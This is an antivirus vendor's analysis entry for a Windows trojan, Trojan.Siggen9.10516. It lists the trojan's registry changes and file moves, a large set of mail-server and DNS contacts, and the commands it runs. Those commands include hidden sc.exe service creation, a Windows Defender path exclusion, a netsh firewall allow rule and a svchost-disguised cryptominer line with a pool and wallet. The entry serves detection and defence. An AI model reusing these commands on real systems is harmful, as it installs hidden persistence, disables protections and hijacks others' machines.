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Trojan.Siggen9.10516

Added to the Dr.Web virus database: 2020-02-11

Virus description added:

Technical Information

To ensure autorun and distribution
Creates the following services
  • [<HKLM>\System\CurrentControlSet\Services\bklqicvp] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\bklqicvp] 'ImagePath' = '%WINDIR%\SysWOW64\bklqicvp\wjvslydn.exe /d"<Full path to file>"'
  • [<HKLM>\SYSTEM\CurrentControlSet\services\bklqicvp] 'ImagePath' = '%WINDIR%\SysWOW64\bklqicvp\wjvslydn.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
  • [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\bklqicvp' = '00000000'
Executes the following
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
  • %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
  • %TEMP%\wjvslydn.exe
  • %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
  • from %TEMP%\wjvslydn.exe to %WINDIR%\syswow64\bklqicvp\wjvslydn.exe
Deletes itself.
Network activity
Connects to
  • 'mx######76001.pphosted.com':25
  • 'mx#.#aver.com':25
TCP
HTTP GET requests
  • http://www.google.com/
  • http://ap#.##-cy.ru:35000/ via ap#.#r-cy.ru
  • 'mx#.###.#ailpod5-cph3.one.com':25
  • '15#.#01.198.214':443
  • 'pa####x.above.com':25
  • 'ma##.##go-yamanote.com':25
  • 'fi#####30.infoquest.com':25
  • 'sp######way.corusent.com':25
  • '54.##0.132.212':443
  • 'ALT1.ASPMX.L.GOOGLE.COM':25
  • 'mx.##crob.net':25
  • 'is###.###.copper.everyone.net':25
  • 'mx#.#anmail.net':25
  • 'mx###.##il.am0.yahoodns.net':25
  • '43.#31.4.7':443
  • 'we##.####.exch022.serverdata.net':25
  • 'mx#.###fficedesk.co.uk':25
  • 'alt2.gmail-smtp-in.l.google.com':25
  • 'mx#.###.#ailpod3-cph3.one.com':25
  • 'mx#.###.#ailpod9-cph3.one.com':25
  • 'mx#.##p.sina.com':25
  • 'mi####.bittubeapp.com':13333
  • 'sm#####2.global-sp.net':25
  • 'mx##.##lkanozkoc.com':25
  • 'ff######x-vip1.prodigy.net':25
  • '19#.0.56.82':443
  • 'mx#.qq.com':25
  • 'w0#####0.kasserver.com':25
  • 'li######.#lc.protection.outlook.com':25
  • 'ma##.##notebook.co.uk':25
  • 'sp#####ter2.eenmantz.nl':25
  • 'mx#.##rthlink.net':25
  • '85.##4.134.88':480
  • 'mt##.##0.yahoodns.net':25
  • 'aspmx.l.google.com':25
  • 'ms#####.##c.protection.outlook.com':25
  • 'ma#####3c.speedpay.com':25
  • 'ho#########.olc.protection.outlook.com':25
  • 'hs##.###lutionserver.net':25
  • 'alt2.aspmx.l.google.com':25
  • 'mt#.inet.fi':25
  • 'ma###.iki.fi':25
  • 'ma##.##umendes.com.br':25
  • 'mx####.##il.gm0.yahoodns.net':25
  • 'ee######.##il.protection.outlook.com':25
  • 'mx#######.mail.am0.yahoodns.net':25
  • '78.#1.67.23':416
  • '17#.#.114.177':416
  • '46.#.52.109':416
  • '93.##9.69.109':416
  • '46.#8.66.2':416
  • 'mx#.##g.aalto.fi':25
  • 'ma##.###ectivetraders.nl':25
  • 'mx###.##tispameurope.com':25
  • 'sm##.##b-hosting.com':25
  • 'iw####.cniteam.com':25
  • 'google.com':443
  • 'mt##.#iudad.com.ar':25
  • 'ma##.###ectivestudios.com':25
  • '18#.#65.238.150':416
  • 'ma##.##ition-ingram.de':25
  • UDP
    • DNS ASK mi##########m.mail.protection.outlook.com
    • DNS ASK co###serve.com
    • DNS ASK ec#.net
    • DNS ASK is###.###.copper.everyone.net
    • DNS ASK mi##ob.net
    • DNS ASK mx.##crob.net
    • DNS ASK ms###.com.br
    • DNS ASK h2##td.com
    • DNS ASK we##.####.exch022.serverdata.net
    • DNS ASK mx.##a.untd.com
    • DNS ASK ya##o.de
    • DNS ASK zw##let.com
    • DNS ASK sm##.##cureserver.net
    • DNS ASK li##.com
    • DNS ASK li######.#lc.protection.outlook.com
    • DNS ASK an####gham.co.uk
    • DNS ASK mx#.###fficedesk.co.uk
    • DNS ASK gm##l.com
    • DNS ASK alt2.gmail-smtp-in.l.google.com
    • DNS ASK ha##ail.net
    • DNS ASK mx#.#anmail.net
    • DNS ASK ym##l.com
    • DNS ASK ALT1.ASPMX.L.GOOGLE.COM
    • DNS ASK ms.##idai.ac.jp
    • DNS ASK sm####n.orange.fr
    • DNS ASK pr###xroach.com
    • DNS ASK do###inos.se
    • DNS ASK mx#.###.#ailpod5-cph3.one.com
    • DNS ASK ex##te.com
    • DNS ASK ma#######xcite.roc2.bluetie.com
    • DNS ASK do####amanote.com
    • DNS ASK ma##.##go-yamanote.com
    • DNS ASK ya##o.se
    • DNS ASK mx###.##il.am0.yahoodns.net
    • DNS ASK ju##.com
    • DNS ASK pa####x.above.com
    • DNS ASK og###y.co.za
    • DNS ASK cj##.com
    • DNS ASK sp######way.corusent.com
    • DNS ASK il###ois.edu
    • DNS ASK in#######relays.illinois.edu
    • DNS ASK ha######eightsbaptist.com
    • DNS ASK fi#####30.infoquest.com
    • DNS ASK wa##doo.fr
    • DNS ASK do######ingadventures.com
    • DNS ASK hu###etrix.org
    • DNS ASK su###hiphop.com
    • DNS ASK ho##ail.de
    • DNS ASK mx######76001.pphosted.com
    • DNS ASK qq.com
    • DNS ASK mx#.qq.com
    • DNS ASK to####scotascr.com
    • DNS ASK de###mann.com
    • DNS ASK de#####1.deichmann.com
    • DNS ASK tw##ter.com
    • DNS ASK al###ate.com
    • DNS ASK va#####.allstate.com
    • DNS ASK ka##.com
    • DNS ASK do####-design.com
    • DNS ASK mx######ech.atmailcloud.com
    • DNS ASK ed####n-ingram.de
    • DNS ASK ma##.##ition-ingram.de
    • DNS ASK le##nd.com
    • DNS ASK bj###.##gendholdings.com.cn
    • DNS ASK ed#####-intervalle.de
    • DNS ASK w0#####0.kasserver.com
    • DNS ASK oc##.com
    • DNS ASK sp####1.ocwa.com
    • DNS ASK si#.edu
    • DNS ASK ya##o.ca
    • DNS ASK mx##.##lkanozkoc.com
    • DNS ASK mx#.##p.sina.com
    • DNS ASK me###school.org
    • DNS ASK fr###omvt.com
    • DNS ASK or###nsongs.com
    • DNS ASK mx#.###.#ailpod3-cph3.one.com
    • DNS ASK us.#bm.com
    • DNS ASK mx######b2d01.pphosted.com
    • DNS ASK an###xx.co.uk
    • DNS ASK mx#.###.#ailpod9-cph3.one.com
    • DNS ASK vi#.#ina.com
    • DNS ASK ro##rs.com
    • DNS ASK ff######x-vip1.prodigy.net
    • DNS ASK na##.com
    • DNS ASK mx#.#ate.com
    • DNS ASK ci######ntertainment.com
    • DNS ASK ci###esfx.com
    • DNS ASK mi####.bittubeapp.com
    • DNS ASK sh##-dg.com
    • DNS ASK sm#####2.global-sp.net
    • DNS ASK ya##o.fr
    • DNS ASK sb###obal.net
    • DNS ASK vo###nozkoc.com
    • DNS ASK cr##nj.com
    • DNS ASK mx#######d01.gslb.pphosted.com
    • DNS ASK mx#.##rthlink.net
    • DNS ASK ho#########.olc.protection.outlook.com
    • DNS ASK al###tsons.com
    • DNS ASK cl######.us.messagelabs.com
    • DNS ASK im###ostep.com
    • DNS ASK alt2.aspmx.l.google.com
    • DNS ASK br##ht.net
    • DNS ASK iw####.cniteam.com
    • DNS ASK ak###.com.ar
    • DNS ASK ms#####.##c.protection.outlook.com
    • DNS ASK me##med.com
    • DNS ASK ed##el.com
    • DNS ASK st#####ntshealth.com
    • DNS ASK mx##.ionos.com
    • DNS ASK ed####des.com.br
    • DNS ASK ma##.##umendes.com.br
    • DNS ASK ik#.fi
    • DNS ASK ma###.iki.fi
    • DNS ASK su####sto.inet.fi
    • DNS ASK sm##.formin.fi
    • DNS ASK ho##ail.com
    • DNS ASK fo##in.fi
    • DNS ASK MX#.##AILSRVR.com
    • DNS ASK cu##joe.com
    • DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
    • DNS ASK 19#.###.#11.95.bl.spamcop.net
    • DNS ASK 19#.###.#11.95.zen.spamhaus.org
    • DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
    • DNS ASK 19#.###.#11.95.cbl.abuseat.org
    • DNS ASK ya##o.com
    • DNS ASK mt##.##0.yahoodns.net
    • DNS ASK ya###.com.br
    • DNS ASK mt#.inet.fi
    • DNS ASK hs##.###lutionserver.net
    • DNS ASK ms#.com
    • DNS ASK ma#####3c.speedpay.com
    • DNS ASK na##r.com
    • DNS ASK mx#.#aver.com
    • DNS ASK im###oshop.com
    • DNS ASK aspmx.l.google.com
    • DNS ASK ci###d.com.ar
    • DNS ASK mt##.#iudad.com.ar
    • DNS ASK su###unkari.fi
    • DNS ASK 19#.###.211.95.in-addr.arpa
    • DNS ASK ec####rcegroup.com
    • DNS ASK ne###ape.net
    • DNS ASK mx####.##il.gm0.yahoodns.net
    • DNS ASK ef#####vestudios.com
    • DNS ASK ap#.#r-cy.ru
    • DNS ASK fa###ebnet.it
    • DNS ASK mx#.##stwebnet.it
    • DNS ASK ee##.com
    • DNS ASK ee######.##il.protection.outlook.com
    • DNS ASK li####troofing.com
    • DNS ASK te###.com.br
    • DNS ASK vi#####br-mx.terra.com
    • DNS ASK sp###tmail.com
    • DNS ASK ee##antz.nl
    • DNS ASK te##o.com
    • DNS ASK sp#####ter2.eenmantz.nl
    • DNS ASK li#e.de
    • DNS ASK eu#.###.#rotection.outlook.com
    • DNS ASK ya.com
    • DNS ASK mx.#a.com
    • DNS ASK ee####book.co.uk
    • DNS ASK ma##.##notebook.co.uk
    • DNS ASK pt##a.com
    • DNS ASK xt##.co.nz
    • DNS ASK id##edi.it
    • DNS ASK ef####ivetraders.nl
    • DNS ASK og##vy.com
    • DNS ASK su#####ckcourier.com
    • DNS ASK ma##.###ectivestudios.com
    • DNS ASK me###obal.com
    • DNS ASK mx######3cc01.pphosted.com
    • DNS ASK li##y.com
    • DNS ASK ma######rde2.xh1.lilly.com
    • DNS ASK pp.#net.fi
    • DNS ASK google.com
    • DNS ASK cc.#ut.fi
    • DNS ASK mx#.##g.aalto.fi
    • DNS ASK mx.##ra.co.nz
    • DNS ASK mx.####o.locaweb.com.br
    • DNS ASK ma##.###ectivetraders.nl
    • DNS ASK ch.##del.com
    • DNS ASK mx###.##tispameurope.com
    • DNS ASK we#####neandsons.com
    • DNS ASK sm##.##b-hosting.com
    • DNS ASK ef###tiveui.com
    • DNS ASK mx#######403.gslb.pphosted.com
    • DNS ASK ma##.#anekoski.fi
    • DNS ASK gl##o.com
    • DNS ASK ro###tmail.com
    • DNS ASK mx#######.mail.am0.yahoodns.net
    Miscellaneous
    Creates and executes the following
    • '%WINDIR%\syswow64\bklqicvp\wjvslydn.exe' /d"<Full path to file>"
    • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\bklqicvp\' (with hidden window)
    • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\wjvslydn.exe" %WINDIR%\SysWOW64\bklqicvp\' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' create bklqicvp binPath= "%WINDIR%\SysWOW64\bklqicvp\wjvslydn.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' description bklqicvp "wifi internet conection"' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' start bklqicvp' (with hidden window)
    • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
    Executes the following
    • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\bklqicvp\
    • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\wjvslydn.exe" %WINDIR%\SysWOW64\bklqicvp\
    • '%WINDIR%\syswow64\sc.exe' create bklqicvp binPath= "%WINDIR%\SysWOW64\bklqicvp\wjvslydn.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
    • '%WINDIR%\syswow64\sc.exe' description bklqicvp "wifi internet conection"
    • '%WINDIR%\syswow64\sc.exe' start bklqicvp
    • '%WINDIR%\syswow64\svchost.exe'
    • '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs2vRiVmw72dvArkbJKbtz917RXckezk9W9STXQKq1SFKmQAbfF24KkWUNqxeNZHaDJftC49YzUhiDSPSYZtn1BR2R2Z3K3Fw.60000 -p x -k

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    1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
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      • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
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